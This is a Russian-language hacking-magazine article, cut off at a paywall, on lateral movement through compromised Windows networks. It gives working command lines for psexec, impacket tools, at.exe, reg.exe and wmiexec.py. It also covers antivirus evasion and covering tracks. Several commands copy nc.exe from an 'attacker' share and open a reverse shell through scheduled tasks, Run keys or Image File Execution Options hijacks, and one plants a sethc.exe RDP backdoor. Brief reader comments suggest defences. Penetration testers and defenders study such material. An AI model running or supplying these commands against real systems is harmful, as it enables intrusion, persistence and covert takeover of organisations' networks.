Про­ник­новение в ата­куемую сеть — толь­ко пер­вый этап взло­ма. На вто­ром эта­пе необ­ходимо в ней зак­репить­ся, получить учет­ные записи поль­зовате­лей и обес­печить воз­можность запус­ка про­изволь­ного кода. В сегод­няшней статье мы погово­рим о методах, поз­воля­ющих добить­ся этой цели, а так­же о том, как выпол­няет­ся боковое переме­щение в ском­про­мети­рован­ной сети.

Пос­ле того как ты про­ник за внеш­ний периметр и попал во внут­реннюю сеть ком­пании, необ­ходимо рас­ширить в ней собс­твен­ное при­сутс­твие, если хочешь най­ти там что‑то инте­рес­ное. Как ни стран­но, чем боль­ше раз­мер внут­ренней сети ком­пании, тем про­ще ее взло­мать. И нап­ротив, если ком­пания сов­сем неболь­шая, сеть взло­мать порою край­не слож­но. Почему так? Чем боль­ше сеть, тем боль­ше в ней может встре­тить­ся уяз­вимых или небезо­пас­но нас­тро­енных ком­понен­тов. При этом час­то ком­про­мета­ция одно­го узла вле­чет за собой ком­про­мета­цию сра­зу мно­жес­тва смеж­ных с ним узлов.

Во внут­ренних сетях обыч­но пре­обла­дают сер­веры и рабочие стан­ции под управле­нием Windows. В то же вре­мя эта ОС наибо­лее инте­рес­на с точ­ки зре­ния спо­собов ком­про­мета­ции, так как по умол­чанию име­ет мно­жес­тво интерфей­сов для уда­лен­ного выпол­нения кода. Кро­ме того, ата­кующе­му дос­тупно боль­шое количес­тво спо­собов извле­чения учет­ных дан­ных. Я не буду касать­ся боково­го переме­щения по сер­верам Linux: они ред­ко вклю­чены в домен и не име­ют такого раз­нооб­разия дефол­тных интерфей­сов для уда­лен­ного адми­нис­три­рова­ния. При боковом переме­щении Linux инте­ресен глав­ным обра­зом как удоб­ная точ­ка опо­ры.

Бо­ковое переме­щение под­разуме­вает легитим­ное уда­лен­ное исполне­ние кода. То есть все пред­став­ленные в статье спо­собы под­разуме­вают наличие дей­ству­ющей учет­ной записи для того или ино­го ПК. При этом поч­ти всег­да будет тре­бовать­ся адми­нис­тра­тив­ная учет­ная запись.

Ос­новная задача при боковом переме­щении — прив­лекать как мож­но мень­ше вни­мания поль­зовате­лей и служ­бы безопас­ности, а так­же пос­тарать­ся не выз­вать тре­вогу у средств анти­вирус­ной защиты. Наибо­лее эффектив­но исполь­зовать штат­ные средс­тва опе­раци­онной сис­темы, то есть абсо­лют­но легитим­ные и неот­личимые от дей­ствий обыч­ных адми­нис­тра­торов сети.

Мы не будем обсуждать основные уяз­вимос­ти Windows, ата­ки в локаль­ных сетях и спо­собы под­нять при­виле­гии в сре­де Active Directory. Вмес­то это­го погово­рим исклю­читель­но о легаль­ных вещах: в каких пота­енных угол­ках Windows мож­но най­ти учет­ные записи и что с ними потом делать. Все пред­став­ленные даль­ше спо­собы не счи­тают­ся уяз­вимос­тями, а пред­став­ляют из себя трю­ки by design, сле­дова­тель­но, при гра­мот­ном исполне­нии это пол­ностью легаль­ные про­цеду­ры.

Все при­меры осно­ваны на реаль­ных ситу­ациях, с которы­ми мож­но стол­кнуть­ся при переме­щении по самым нас­тоящим внут­ренним сетям. Поэто­му, как обыч­но, кос­немся проб­лемы мак­сималь­но тихого переме­щения с воз­можностью бай­паса анти­виру­сов, а так­же сде­лаем акцент на то, какие сетевые пор­ты нам для это­го пот­ребу­ются.

 

Стратегия бокового перемещения

Итак, боковое переме­щение — это одновре­мен­ное сочета­ние двух тех­ник:

  • аутен­тифици­рован­ного уда­лен­ного выпол­нения кода;
  • из­вле­чения сек­ретной информа­ции пос­ле получе­ния дос­тупа.

Цик­личное, пос­ледова­тель­ное пов­торение этих шагов порою поз­воля­ет от одно­го‑единс­твен­ного взло­ман­ного ПК дой­ти до пол­ной ком­про­мета­ции всей сетевой инфраструк­туры. Обыч­но боковое переме­щение, как вся­кое иное переме­щение, прес­леду­ет одну из сле­дующих целей:

  • пе­рех­ват управле­ния кон­трол­лерами домена;
  • дос­тижение изо­лиро­ван­ных кри­тичес­ких сетевых сег­ментов (нап­ример, АСУ ТП, SWIFT);
  • по­иск кри­тичес­кой информа­ции на ПК (сек­ретные докумен­ты, пла­теж­ные рек­визиты и так далее).

Од­нако для дос­тижения любой из перечис­ленных целей тре­буют­ся все новые учет­ные дан­ные, что­бы у ата­кующе­го была воз­можность переме­щать­ся по сети и получать дос­туп ко все боль­шему количес­тву ПК. Прод­вижение по внут­ренней сети ред­ко обхо­дит­ся без взя­тия кон­трол­лера домена, пос­коль­ку взя­тие домена озна­чает авто­мати­чес­кое получе­ние дос­тупа прак­тичес­ки к каж­дому узлу сети. Что каса­ется admins hunting, при дос­тижении кон­трол­лера домена может показать­ся, что поиск при­виле­гиро­ван­ных учет­ных записей — это сле­пое уга­дыва­ние. Но на самом деле инфраструк­тура Active Directory и сама Windows рас­кры­вают дос­таточ­но информа­ции прос­тому домен­ному поль­зовате­лю, зачас­тую поз­воляя рас­счи­тать нуж­ное нап­равле­ние прод­вижения и спла­ниро­вать точ­ную мно­гос­тупен­чатую цепоч­ку взло­мов еще в самом начале боково­го переме­щения.

Пос­ле взя­тия кон­трол­леров домена иног­да быва­ет необ­ходимо дви­гать­ся даль­ше — в некий осо­бо охра­няемый сег­мент, пред­став­ляющий собой объ­екты «биз­нес‑рис­ка». Это может быть сег­мент АСУ ТП, вме­шатель­ство в тех­нологи­чес­кий про­цесс, дос­туп в сег­мент SWIFT, если мы име­ем дело с бан­ками, либо же прос­то дос­туп на ПК генераль­ного дирек­тора. В каж­дом слу­чае мы можем стол­кнуть­ся с раз­ными слож­ностя­ми боково­го переме­щения, о которых пой­дет речь даль­ше.

 

Удаленное выполнение кода в Windows

Рас­смот­рим нес­коль­ко спо­собов уда­лен­ного исполне­ния кода в Windows с помощью учет­ной записи. Некото­рые средс­тва пре­дос­тавля­ют удоб­ный инте­рак­тивный режим, а некото­рые — толь­ко сле­пой запуск команд без получе­ния резуль­тата. Нач­нем обзор с самых удоб­ных и широко рас­простра­нен­ных инс­тру­мен­тов и пос­тепен­но перей­дем к менее популяр­ным, но все же спо­соб­ным исполнить код.

Часть инс­тру­мен­тов заг­ружа­ет на target исполня­емый файл служ­бы, пыта­ясь обес­печить нам удоб­ный инте­рак­тивный режим. Но тут кро­ется опас­ность: такие сер­висы зачас­тую будут заб­локиро­ваны анти­виру­сом. Плюс к это­му IP ата­кующе­го может быть заб­локиро­ван, что затор­мозит переме­щение. И SOC узна­ет о том, что в сеть кто‑то про­ник.

Боль­шую часть боково­го переме­щения мы будем выпол­нять с помощью замеча­тель­ного Python-пакета impacket. Для его уста­нов­ки тре­бует­ся выпол­нить коман­ду pip install impacket. Пос­ле уста­нов­ки необ­ходимые исполня­емые фай­лы будут находить­ся в пап­ке impacket/examples, рас­положе­ние которой под­ска­жет коман­да pip show -f impacket.

 

MSRPC

Это реали­зация DCERPC от Microsoft. По сути, рас­ширя­ет откры­тый DCERPC при помощи дос­тупа через име­нован­ные пай­пы с исполь­зовани­ем про­токо­ла SMB. Глав­ным обра­зом исполь­зует 445-й TCP-порт. Перечис­лить дос­тупные пай­пы по сло­варю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.

psexec.exe

  • Про­исхожде­ние: sysinternals
  • AV-риск: отсутс­тву­ет
  • Ис­поль­зуемые пор­ты: 135, 445, 4915x/TCP

На­чиная говорить об уда­лен­ном исполне­нии кода в Windows, нель­зя не упо­мянуть небезыз­вес­тный psexec от Мар­ка Рус­синови­ча. Дан­ная прог­рамма поль­зует­ся оди­нако­вой популяр­ностью и у адми­нис­тра­торов, и у пен­тесте­ров. Прин­цип ее работы зак­люча­ется в копиро­вании исполня­емо­го фай­ла через сетевой ресурс «ADMIN$» (445/TCP) с пос­леду­ющим уда­лен­ным соз­дани­ем и запус­ком служ­бы для это­го исполня­емо­го фай­ла через DCERPC (135,4915x/TCP). Пос­ле запус­ка служ­бы про­исхо­дит обыч­ное сетевое вза­имо­дей­ствие с уда­лен­ной коман­дной стро­кой:

psexec.exe -u admin \\target cmd

Глав­ный плюс для нас в том, что сер­верный ком­понент psexecsvc.exe под­писан сер­тифика­том Sysinternals (который при­над­лежит Microsoft) и, сле­дова­тель­но, стоп­роцен­тно легитим­ная прог­рамма. Так­же к явным дос­тоинс­твам клас­сичес­кого psexec.exe отно­сит­ся спо­соб­ность выпол­нять код в ука­зан­ных поль­зователь­ских сеан­сах:

psexec.exe -u admin -i 2 \\target shutdown /l

psexec.py

  • Про­исхожде­ние: Python-пакет impacket
  • AV-риск: есть
  • Ис­поль­зуемые пор­ты: 445/TCP

От­личная аль­тер­натива для поль­зовате­лей Linux. Одна­ко этот инс­тру­мент поч­ти навер­няка под­нимет анти­вирус­ную тре­вогу. Как было ска­зано, все дело в служ­бе, которая копиру­ется на уда­лен­ный хост. Это мож­но испра­вить, ука­зав в реали­зации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py про­изволь­ную коман­ду, которая будет выпол­нена вмес­то запус­каемой служ­бы уда­лен­ного адми­нис­три­рова­ния.

С помощью произвольной команды можно скрыть запуск службы удаленного администрирования
С помощью про­изволь­ной коман­ды мож­но скрыть запуск служ­бы уда­лен­ного адми­нис­три­рова­ния

Что­бы psexec.py не ско­пиро­вал палев­ный ком­понент, ука­зыва­ем при­нуди­тель­но, какой файл исполь­зовать в качес­тве служ­бы. И, пос­коль­ку мы уже вруч­ную про­писа­ли коман­ду, этим фай­лом может быть что угод­но:

psexec.py -file somefile.txt admin@target

Та­ким обра­зом, мы нап­рямую выпол­нили коман­ду mkdir c:\pwn, что, конеч­но же, не вызовет реак­ции со сто­роны анти­виру­сов. Одна­ко подоб­ная модифи­кация psexec лиша­ет нас того удобс­тва исполь­зования, которое было изна­чаль­но.

winexe

  • Про­исхожде­ние: пакет winexe
  • AV-риск: есть
  • Ис­поль­зуемые пор­ты: 445/TCP

Бо­лее ста­рый натив­ный ана­лог psexec под Linux. Как и psexec, откры­вает уда­лен­ную инте­рак­тивную коман­дную стро­ку:

winexe -U admin //target cmd

В целом он пол­ностью иден­тичен дру­гим подоб­ным инс­тру­мен­там, одна­ко реже обна­ружи­вает­ся анти­виру­сами. Но все же нель­зя ска­зать, что winexe на сто про­цен­тов безопа­сен. Тем не менее его мож­но исполь­зовать для подс­тра­хов­ки на слу­чай, если psexec.py вдруг не сра­бота­ет.

smbexec.py

  • Про­исхожде­ние: Python-пакет impacket / встро­енный ком­понент Windows
  • AV-риск: есть
  • Ис­поль­зуемые пор­ты: 445/TCP

Уп­рощен­ный вари­ант psexec, так­же соз­дающий служ­бу, толь­ко исполь­зует­ся при этом исклю­читель­но MSRPC, а дос­туп к управле­нию служ­бами устро­ен через SMB-пайп svcctl:

smbexec.py -mode SHARE admin@target

В резуль­тате будет открыт дос­туп к инте­рак­тивной коман­дной стро­ке.

services.py

  • Про­исхожде­ние: Python-пакет impacket
  • AV-риск: отсутс­тву­ет
  • Ис­поль­зуемые пор­ты: 445/TCP

Еще более упро­щен­ный вари­ант psexec. Тут пред­полага­ется, что мы сами руч­ками дела­ем то, что дела­ет за нас psexec. С помощью services.py мы можем пос­мотреть спи­сок служб:

services.py admin@target list

Соз­дать новую служ­бу, ука­зав про­изволь­ную коман­ду:

services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'

За­пус­тить толь­ко что соз­данную служ­бу:

services.py admin@target start -name 1

За­мес­ти сле­ды и уда­лить ее:

services.py admin@target delete -name 1

Все это дает нам еще один спо­соб сле­пого неин­терак­тивно­го исполне­ния команд, то есть без резуль­тата. Зато это на сто про­цен­тов безопас­ный спо­соб, и он не раз выручал меня, ког­да анти­виру­сы на уда­лен­ном хос­те уби­вали весь левый софт.

atexec.py/at.exe

  • Про­исхожде­ние: Python-пакет impacket / встро­енный ком­понент Windows
  • AV-риск: отсутс­тву­ет
  • Ис­поль­зуемые пор­ты: 445/TCP

Служ­ба пла­ниров­щика заданий Windows, дос­тупная через smb-пайп atsvc. Поз­воля­ет уда­лен­но помес­тить в пла­ниров­щик задачу, которая выпол­нится в ука­зан­ный момент.

В обо­их слу­чаях это не инте­рак­тивное средс­тво уда­лен­ного исполне­ния кода. При исполь­зовании at.exe про­исхо­дит сле­пое исполне­ние команд:

at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

А вот для atexec.py коман­да выпол­нится с резуль­татом:

atexec.py admin@target ipconfig

Вся раз­ница в том, что резуль­тат выпол­нения коман­ды будет нап­равлен в файл и про­читан через сетевой ресурс ADMIN$. Для сво­ей работы инс­тру­мент тре­бует, что­бы часы у attacker и target были нас­тро­ены на одно вре­мя с точ­ностью до минуты.

reg.exe

  • Про­исхожде­ние: ком­понент Windows
  • AV-риск: отсутс­тву­ет
  • Ис­поль­зуемые пор­ты: 445/TCP

Уда­лен­ный дос­туп к реес­тру с пра­вами на запись на самом деле нам дает RCE. Для сво­ей работы инс­тру­мент тре­бует SMB-пайп winreg. По умол­чанию служ­ба уда­лен­ного реес­тра запуще­на толь­ко на сер­верных ОС Windows 2003–2019. А вот извес­тный трюк с авто­заг­рузкой (отло­жен­ное RCE):

reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

Здесь исполь­зует­ся обра­бот­чик запус­ка прог­раммы. Если прог­рамма запус­кает­ся на ПК час­то, то получим поч­ти мгно­вен­ное RCE:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

Мой любимый трюк с бэк­дором в RDP:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
 

DCERPC

Ис­поль­зует пор­ты 135/TCP и 4915x/TCP, где 4915x — динами­чес­ки наз­нача­емые пор­ты. Иног­да могут исполь­зовать­ся пор­ты из дру­гого диапа­зона.

Очень час­то сетевые адми­нис­тра­торы и безопас­ники, которые в кур­се наибо­лее рас­простра­нен­ных век­торов атак, в качес­тве mitigation прос­то бло­киру­ют порт 445/TCP. Тем самым они дела­ют неп­ригод­ным исполь­зование psexec и мно­гих дру­гих спо­собов, опи­сан­ных выше. Одна­ко, как было ска­зано ранее, Windows име­ет мно­жес­тво спо­собов уда­лен­ного исполне­ния кода, и DCERPC пре­дос­тавля­ет нам такую аль­тер­натив­ную воз­можность, в некото­рых слу­чаях откры­вая дос­туп к тем же RPC-интерфей­сам. По сути, мы будем исполь­зовать не сам DCERPC, а то, что работа­ет по его тех­нологии, нап­ример WMI.

wmiexec.py

  • Про­исхожде­ние: Python-пакет impacket
  • AV-риск: есть
  • Ис­поль­зуемые пор­ты: 135, (445), 4915x/TCP

Скрипт wmiexec.py дает воз­можность выпол­нить код в инте­рак­тивном режиме:

wmiexec.py admin@target

Од­нако было замече­но, что хоть wmiexec.py и не запус­кает на уда­лен­ной сто­роне никаких сто­рон­них исполня­емых фай­лов, анти­виру­сы его иног­да ловят. Кро­ме того, wmiexec.py полезет за резуль­татом на шару ADMIN$, чем задей­ству­ет порт 445/TCP. Более безопас­ным вари­антом будет сле­пое RCE:

wmiexec.py -nooutput admin@target "mkdir c:\pwn"

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

3 комментария

  1. Аватар

    Notsaint

    16.11.2020 в 20:59

    Теперь неплохо было бы услышать вторую сторону, т.е. сторону защиты

    • s0i37

      s0i37

      17.11.2020 в 16:53

      Не использовать одинаковые пароли вообще ни где.
      Каждый пароль должен быть стойким, то есть: не содержать в себе слов, keywalks, быть достаточно длинным.
      Отказаться полностью от ntlm в пользу kerberos.

  2. Аватар

    Ди

    17.11.2020 в 03:40

    сказали же, вырубайте «ад» и будет вам счастье )

Оставить мнение